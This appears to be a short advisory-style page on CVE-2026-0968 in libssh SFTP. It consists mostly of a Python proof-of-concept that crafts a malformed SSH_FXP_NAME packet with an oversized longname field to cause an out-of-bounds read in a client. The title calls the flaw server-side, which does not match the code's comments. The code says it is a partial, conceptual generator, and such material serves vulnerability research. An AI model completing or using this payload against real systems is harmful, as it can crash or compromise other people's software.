CVE-2026-0968 libssh SFTP服务端拒绝服务漏洞

import socket import struct # Simulated Malicious SFTP Server for CVE-2026-0968 PoC # This script demonstrates the generation of a malformed SSH_FXP_NAME packet. def create_malicious_sftp_name_packet(): # Packet Type: SSH_FXP_NAME (104) packet_type = 104 request_id = 1 count = 1 filename = b"exploit.txt" # Malformed longname: This field is crafted to trigger the missing null check # leading to a heap out-of-bounds read in the vulnerable libssh client. malformed_longname = b"A" * 1000 # Excessive length or missing null terminator # Construct payload (simplified structure) payload = struct.pack('!I', request_id) payload += struct.pack('!I', count) # Filename string (4-byte length + data) payload += struct.pack('!I', len(filename)) + filename # Longname string (4-byte length + malformed data) payload += struct.pack('!I', len(malformed_longname)) + malformed_longname # Dummy attributes (flags) payload += struct.pack('!I', 0) # Full packet: 4-byte length + 1-byte type + payload full_packet = struct.pack('!I', len(payload) + 1) + struct.pack('!B', packet_type) + payload return full_packet # Note: This is a conceptual payload generator. # A full exploit would require implementing the SSH handshake and SFTP protocol channel.